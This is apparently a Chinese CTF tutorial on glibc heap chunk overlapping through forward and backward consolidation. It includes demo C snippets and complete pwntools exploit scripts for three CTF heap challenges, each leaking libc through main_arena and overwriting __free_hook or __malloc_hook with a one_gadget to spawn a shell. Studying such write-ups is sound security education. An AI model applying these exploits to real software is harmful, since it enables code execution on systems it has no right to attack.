概念

简单的说就是扩展上一个堆块来影响下一个堆块的内容及大小,使多个堆快的空间形成重叠对应的关系。

常用的堆快重叠手法分为两种,分别为前向合并堆快后向合并堆快,且其作用场景往往是在发现某个漏洞如offbyone、offbynull或是溢出之后为了进一步控制实现地址写及leaklibc而使用的。

前向合并

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int main(void)
{
void *ptr1,*ptr2,*ptr3,*ptr4;
ptr1=malloc(128);//smallbin1
ptr2=malloc(0x10);//fastbin1
ptr3=malloc(0x10);//fastbin2
ptr4=malloc(128);//smallbin2
malloc(0x10);//防止与top合并
free(ptr1);
*(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
*(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
free(ptr4);//unlink进行前向extend
malloc(0x150);//占位块
}

前向 extend 利用了 smallbin 的 unlink 机制,通过修改 pre_size 域可以跨越多个 chunk 进行合并实现 overlapping。

重点是将头部的ptr1堆快free掉后,再修改尾部ptr4堆快的pre_inuse为ptr1+ptr2+ptr3的大小,之后当free掉ptr4时,便会使堆快ptr4向前合并到ptr1形成一个bin

之后再新建一个ptr1+ptr2+ptr3大小的堆快,那么同时ptr2和ptr3的指针也仍在新建的堆快之中

后向合并

1
2
3
4
5
6
7
8
9
10
int main(void)
{
void *ptr,*ptr1;
ptr=malloc(0x10);//分配第一个0x10的chunk
malloc(0x10);//分配第二个0x10的chunk
*(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
free(ptr);
ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
return 0;
}

这是比较常见的向后overlapping利用。执行完后,将导致ptr1的内容包含上第二次malloc的内容,从而控制ptr的内容及大小,也就是造成两个堆块间的重叠

而其中重点便是 通过修改PTR堆快的size位来促使其堆快向后包裹,包裹住后面堆快的范围

之后将其free掉,即可以形成一个largebin。

最后在largebin上新建堆快形成 新堆快与前面被largebin包裹的堆快重叠

并且前面形成的largebin会残留mainarena的指针,可以通过其泄漏libc地址

前向合并演示

2021深育杯writebook

程序分析

64位程序,2.31的libc,保护全开,漏洞存在于write功能中的sub_d6c中,在读取到的数据末尾处追加了\x00形成offbynull漏洞

而在申请堆快的处理中,对大小、数量的限制也没有过多的限制,因此思路即通过offbynull构造堆快重叠,之后泄漏地址,并通过修改堆快的fd指针控制freehook写入onegadgets

利用过程

  1. 首先构造大量0x100大小的堆快,以及大于0x100大小的堆快(用于offbynull覆盖最后一位)

    1
    2
    3
    4
    5
    for i in range(8): # idx0-7
    add1(0xf0)
    add2(0x168) #idx_8
    add2(0x168) #idx_9
    add2(0x168)
  2. 之后将其逐一free掉

  3. 通过idx8改写idx9的prev_inuse位,并通过offbynull覆盖idx9的size为0x100。即*idx0+idx8 = (0x100\*8)+0x170 = 0x970

    然后通过idx9的堆快,伪造一个0x70大小的堆快,并截断原先的idx9,使之成为一个0x100与0x70大小的堆快

    1
    2
    edit(8,"a"*0x160+p64(0x970)) # idx0+idx8 = (0x100*8)+0x170 = 0x970
    edit(9,"b"*0xf0+p64(0x100)+p64(0x71))

    最后free掉idx0与idx9,使堆快向前合并形成一个0xa70大小的堆快

  4. 虽然前面通过gdb观察到我们free掉的idx0-idx8合并成了一个大堆快,但步骤2中的free过程已经记录在了tcache中,因此当我们再次申请时,仍可以将堆快申请到被free掉的0xa70中

    之后再次申请0x60大小的fastbin,用于后续方便伪造堆快申请到freehook中。而申请0x80的堆快并无实际作用,只是为了凑齐0x100大小,而此时的堆快重叠便已经形成

    1
    2
    3
    idx10+idx11 <=> idx6
    idx12+idx13 <=> idx5
    idx14+idx15 <=> idx4
  5. 最后由于起初的LargeBin即0x970的chunk中fd和bk指针都指向了main_arena中,因此我们任意show一个堆快都可以泄漏出libc地址

    最最后free掉任意一个0x70大小的堆快,并通过堆快重叠修改其fd指针为freehook,在通过申请堆快到freehook,并改写其值为onegg,即可完成利用

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84

def exp():
def add1(size):
sh.recvuntil("> ")
sh.sendline("1")
sh.recvuntil("2. Write on both sides?\n> ")
sh.sendline("1")
sh.recvuntil("size: ")
sh.sendline(str(size))
def add2(size):
sh.recvuntil("> ")
sh.sendline("1")
sh.recvuntil("2. Write on both sides?\n> ")
sh.sendline("2")
sh.recvuntil("size: ")
sh.sendline(str(size))
def delete(index):
sh.recvuntil("> ")
sh.sendline("4")
sh.recvuntil("Page: ")
sh.sendline(str(index))
def edit(index,content):
sh.recvuntil("> ")
sh.sendline("2")
sh.recvuntil("Page: ")
sh.sendline(str(index))
sh.recvuntil("Content: ")
sh.sendline(content)
def show(index):
sh.recvuntil("> ")
sh.sendline("3")
sh.recvuntil("Page: ")
sh.sendline(str(index))
# 1
for i in range(8): # idx0-7
add1(0xf0)
add2(0x168) #idx_8
add2(0x168) #idx_9
add2(0x168)
# 2
for i in range(7):
delete(i+1)
# 3
edit(8,"a"*0x160+p64(0x970)) # idx0+idx8 = (0x100*8)+0x170 = 0x970
edit(9,"b"*0xf0+p64(0x100)+p64(0x71))
# 3.1
delete(0)
delete(9)
# 4
for i in range(8): # idx0-8
add1(0xf0)
for i in range(4): # idx10-15
add1(0x60)
add1(0x80)
# idx10+idx11 <=> idx6
# idx12+idx13 <=> idx5
# idx14+idx15 <=> idx4
#5
show(9) # idx
sh.recvuntil(": ")
libc_base = u64(sh.recv(6).ljust(8,"\x00"))-96-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
realloc = libc_base+libc.sym["__libc_realloc"]
one_gg = libc_base + one_ggs[1]
success("malloc_hook => 0x%x",malloc_hook)
free_hook = libc_base + libc.sym["__free_hook"]
success("free_hook => 0x%x",free_hook)
success("one_gg = > 0x%x",one_gg)
# delete(12)
# edit(5,p64(malloc_hook-0x23-0x8))
# add1(0x60)
# add1(0x60)
# edit(18,"a"*(0x23) + p64(one_gg)+p64(realloc+0x1))
delete(12)
edit(5,p64(free_hook-8-3))
add1(0x60)
add1(0x60)
edit(18,"a"*(8+3) + p64(one_gg))
delete(9)
# debug()

return sh

2021祥云杯PassWordBox_Free

利用思路

当add堆块并写入数据时,可以看到存放到堆块中的数据被加密了

切换到ida中在看 就只是通过一个简单的算法来对数据进行^运算,而这个具体的算法的话根本不需要我们去逆,是因为当幂运算一个参数为0时,结果将会是他本身,因此我们通过输入0x00便能得到它加密的密钥

解密代码如下

1
2
3
4
5
6
7
global key
add(0,0x1,p8(0x0))
sh.recvuntil("ID:")
key = u64(sh.recv(8))
success("key => 0x%x",key)
def deP64(dataa):
return p64(dataa^key)+"\n"

之后通过off by one构造堆块重叠泄漏libc地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
### OffByOne
add(1,0xF0,"a"*0xf0) #1
add(2,0x80,"b"*0x80) #2
add(3,0x80,"c"*0x80) #3
add(4,0xF0,"d"*0xf0) #4
# full teache
for i in range(5,12):
add(i,0xF0,'aaaa'*0xd0)
for i in range(5,12):
delete(i)
delete(3)
add(3,0x88,'b'*0x80 + deP64(0x100 + 0x90 + 0x90) + '\x00')
delete(1)
delete(4)
for i in range(5,12):
add(i,0xF0,'a'*0xf0)
add(1,0xF0,'a'*0xF0) #1
# OffByOne Over
show(2)

再通过控制下一个堆块的fd指针来使下下个申请的堆块落到malloc_hook中

最后填入onegadget即可getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
def exp():
def add(idx,size,content):
sh.sendlineafter("Choice:","1")
sh.sendlineafter("Save:",str(idx))
sh.sendlineafter("Length Of Your Pwd:",str(size))
sh.sendafter("Pwd:",content)
def edit(index,content):
sh.sendlineafter('Choice:','2')
sh.sendline(str(index))
sleep(0.5)
sh.send(content)
def show(index):
sh.sendlineafter('Choice:','3')
sh.sendlineafter('Check:',str(index))
def delete(index):
sh.sendlineafter('Choice:','4')
sh.sendlineafter('Delete:',str(index))

global key
add(0,0x1,p8(0x0))
sh.recvuntil("ID:")
key = u64(sh.recv(8))
success("key => 0x%x",key)
def deP64(dataa):
return p64(dataa^key)
### OffByOne
add(1,0xF0,"a"*0xf0) #1
add(2,0x80,"b"*0x80) #2
add(3,0x80,"c"*0x80) #3
add(4,0xF0,"d"*0xf0) #4
# full teache
for i in range(5,12):
add(i,0xF0,'aaaa'*0xd0)
for i in range(5,12):
delete(i)
delete(3)
add(3,0x88,'b'*0x80 + deP64(0x100 + 0x90 + 0x90) + '\x00')
delete(1)
delete(4)
for i in range(5,12):
add(i,0xF0,'a'*0xf0)
add(1,0xF0,'a'*0xF0) #1
# # OffByOne Over
show(2)
sh.recvuntil("Pwd is: ")
# malloc_hook = u64(sh.recv(8).ljust(8,"\x00"))^key
malloc_hook = (u64(sh.recv(8))^key)-96-0x10
success("malloc_hook => 0x%x",malloc_hook)
libc_base = malloc_hook - libc.sym["__malloc_hook"]
free_hook = libc_base + libc.sym["__free_hook"]
success("free_hook => 0x%x",free_hook)
success("libc_base => 0x%x",libc_base)
one_gg = libc_base+one_ggs[1]
success("one_gg => 0x%x",one_gg)

delete(3)
add(3,0x98,'b'*0x80 + (deP64(0) + deP64(0x91) + deP64(free_hook)))
add(20,0x80,p64(0) + 'c'*0x78)
add(21,0x80,p64(one_gg^key))
sh.sendline("\n")
delete(2)

# debug()
return sh

前向合并

babyheap_0ctf_2017

程序分析

标准的增删改查功能。

其中添加堆块时,使用的是alloc与malloc不同的是申请的堆块内容会被初始化。

而fill,修改堆块内容的时候,存在越界写n个字符的情况,也就是说可以从上一个堆块的内容中写到下一个堆块里

free功能首先会判断堆块是否在,其次对堆块的指针大小以及内容清零,也就是不存在doublefree的情况

dump功能会打印出与堆块大小数量一致的字符

利用思路

通过堆块重叠来将某个堆块的数据区保存在另一个堆块的数据区之中,从而泄露main_arena

申请3个堆块分别为0x10\0x10\0x80

chunk_1用于越界写chunk_2的size为0xb1,从而使chunk_2的大小可以正好包裹住chunk_3。

之后在对chunk_2进行free,使其清空,从而使得我们alloc(0xa1)大小的地址时,可以将chunk_3也包括进去,而此时的chunk_3的size位因为alloc的缘故被清空了,再手动修改chunk_2并利用越界写的功能修改其size位。最后我们free掉chunk_3,其fd指针将指向main_arena+88的地址,最后我们只用show chunk_2即可看到main_arena

当获得到main_arena+88的地址后,将其-88-0x33即可得到malloc_hook的地址

最后再此利用越界写,将某一堆块的fd指针修改位malloc_hook的地址,即可申请到该地址的堆块

最后填入onegadgets,通过再次alloc,即可获得shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
def cmd(x):
sh.sendlineafter('Command: ',str(x))

def add(size):
cmd(1)
sh.sendlineafter('Size: ',str(size))

def edit(index,content):
cmd(2)
sh.sendlineafter('Index: ',str(index))
sh.sendlineafter('Size: ',str(len(content)))
sh.sendlineafter('Content: ',content)

def free(index):
cmd(3)
sh.sendlineafter('Index: ',str(index))

def show(index):
cmd(4)
sh.sendlineafter('Index: ',str(index))


add(0x10)
add(0x10)
add(0x80)
add(0x10)
add(0x60)
add(0x60)


edit(0,p64(0)*3+p64(0xb1))#通过edit(0)来改变chunk1的巨细,使其包裹chunk2
free(1)
add(0xa0)#1 free再add回来使为了改变结构体中的size值,由于show的长度使凭据这个值来定的
edit(1,p64(0)*3+p64(0x91)) #由于使通过calloc申请回chunk1的以是chunk2被清零,我们要恢复chunk2
free(2) #free chunk_2 获得main_arena+88
show(1) #泄露chunk2的fd

sh.recvuntil(p64(0)*3+p64(0x91))
main_arena88 = u64(sh.recv(6).ljust(8,"\x00"))
success("main_arena88 => 0x%x",main_arena88)
libc_base = main_arena88-0x3c4b78
success("libc_base => 0x%x",libc_base)
malloc_hook = main_arena88-88-0x33
success("malloc_hook => 0x%x",malloc_hook)
one_gg = libc_base + one_ggs[1]
free(4)
edit(3,p64(0)*3+p64(0x71)+p64(malloc_hook))
add(0x60)
add(0x60)
edit(4,"a"*0x13+p64(one_gg))
add(0x70)
# debug()

return sh